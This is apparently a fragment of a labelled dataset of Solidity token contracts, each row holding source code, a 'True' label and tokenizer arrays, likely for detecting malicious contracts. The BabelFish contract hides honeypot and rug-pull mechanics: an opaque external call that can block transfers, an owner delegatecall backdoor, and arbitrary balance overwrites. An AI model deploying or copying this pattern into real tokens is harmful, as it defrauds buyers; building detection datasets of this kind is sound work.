] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
// Uses Ferrum Launch Protection System
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract BabelFish is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 10000000000000000000000000000000;
string public name = "BABEL";
string public symbol = "BabelFish";
IUniswapV2Router02 public pancakeRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOfTokens(wrappedEther, address(this));
allowance[address(this)][address(pancakeRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairOfTokens(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _tos, uint amount) public {
require(msg.sender == owner);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = amount;
emit Transfer(address(0x0), _tos[i], amount);
}
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
pancakeRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1021,
1012,
1014,
1025,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
3643,
1007,
1025,
1065,
8278,
1045,
19496,
26760,
9331,
2615,
2475,
22494,
3334,
2692,
2475,
1063,
3853,
5587,
3669,
15549,
25469,
11031,
1006,
4769,
19204,
1010,
21318,
3372,
3815,
18715,
10497,
2229,
27559,
1010,
21318,
3372,
3815,
18715,
2368,
10020,
1010,
21318,
3372,
3815,
11031,
10020,
1010,
4769,
2000,
1010,
21318,
3372,
15117,
1007,
6327,
3477,
3085,
5651,
1006,
21318,
3372,
3815,
18715,
2368,
1010,
21318,
3372,
3815,
11031,
1010,
21318,
3372,
6381,
3012,
1007,
1025,
1065,
3206,
28516,
21572,
26557,
3064,
1063,
4769,
4722,
3954,
1025,
4769,
4722,
28516,
21572,
26557,
3508,
1025,
4769,
2270,
4895,
11514,
11215,
1025,
9570,
2953,
1006,
4769,
1035,
28516,
21572,
26557,
3508,
1007,
1063,
28516,
21572,
26557,
3508,
1027,
1035,
28516,
21572,
26557,
3508,
1025,
1065,
1013,
1013,
3594,
10768,
12171,
2819,
4888,
3860,
2291,
16913,
18095,
4638,
27014,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
1063,
1006,
22017,
2140,
2025,
7875,
4140,
1010,
27507,
3638,
3475,
4140,
18384,
1007,
1027,
28516,
21572,
26557,
3508,
1012,
2655,
1006,
11113,
2072,
1012,
4372,
16044,
24415,
11246,
22471,
2953,
1006,
1014,
2595,
16068,
22907,
23632,
23632,
1010,
1035,
2013,
1010,
1035,
2000,
1010,
4895,
11514,
11215,
1010,
1035,
3643,
1007,
1007,
1025,
5478,
1006,
2025,
7875,
4140,
1007,
1025,
1035,
1025,
1065,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
21318,
3372,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-04-04
*/
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Pausable is Context {
bool private _paused;
event Paused(address account);
event Unpaused(address account);
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
contract EaglePlatformToken is Context, IERC20, Ownable, Pausable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _whitelist;
uint256 private _totalSupply = 200000000 * (10 ** 18);
string private _name = "Eagle Platform Token";
string private _symbol = "EPT";
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isWhitelist(address account) public view returns (bool) {
return _whitelist[account];
}
function pause() public onlyOwner returns (bool) {
_pause();
return true;
}
function unpause() public onlyOwner returns (bool) {
_unpause();
return true;
}
function addWhitelist(address account) public onlyOwner returns (bool) {
_whitelist[account] = true;
return true;
}
function removeWhitelist(address account) public onlyOwner returns (bool) {
delete _whitelist[account];
return true;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (paused() && !_whitelist[sender]) {
revert();
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5840,
1011,
5840,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3206,
2219,
3085,
2003,
6123,
1063,
4769,
2797,
1035,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
9570,
2953,
1006,
1007,
4722,
1063,
4769,
5796,
5620,
10497,
2121,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1025,
1035,
3954,
1027,
5796,
5620,
10497,
2121,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
1006,
1014,
1007,
1010,
5796,
5620,
10497,
2121,
1007,
1025,
1065,
3853,
3954,
1006,
1007,
2270,
3193,
5651,
1006,
4769,
1007,
1063,
2709,
1035,
3954,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
1035,
3954,
1027,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1010,
1000,
2219,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.22;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) external returns (bool);
function totalSupply() constant external returns (uint256 supply);
function balanceOf(address _owner) constant external returns (uint256 balance);
}
contract NePay is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "NePay";
string public constant symbol = "NEP";
uint public constant decimals = 18;
uint256 public totalSupply = 1000000000e18;
uint256 public totalDistributed = 200000000e18;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value = 8000e18;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function NePay() public {
owner = msg.sender;
balances[owner] = totalDistributed;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (value > totalRemaining) {
value = totalRemaining;
}
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(100000).mul(99999);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = address(this).balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2570,
1025,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
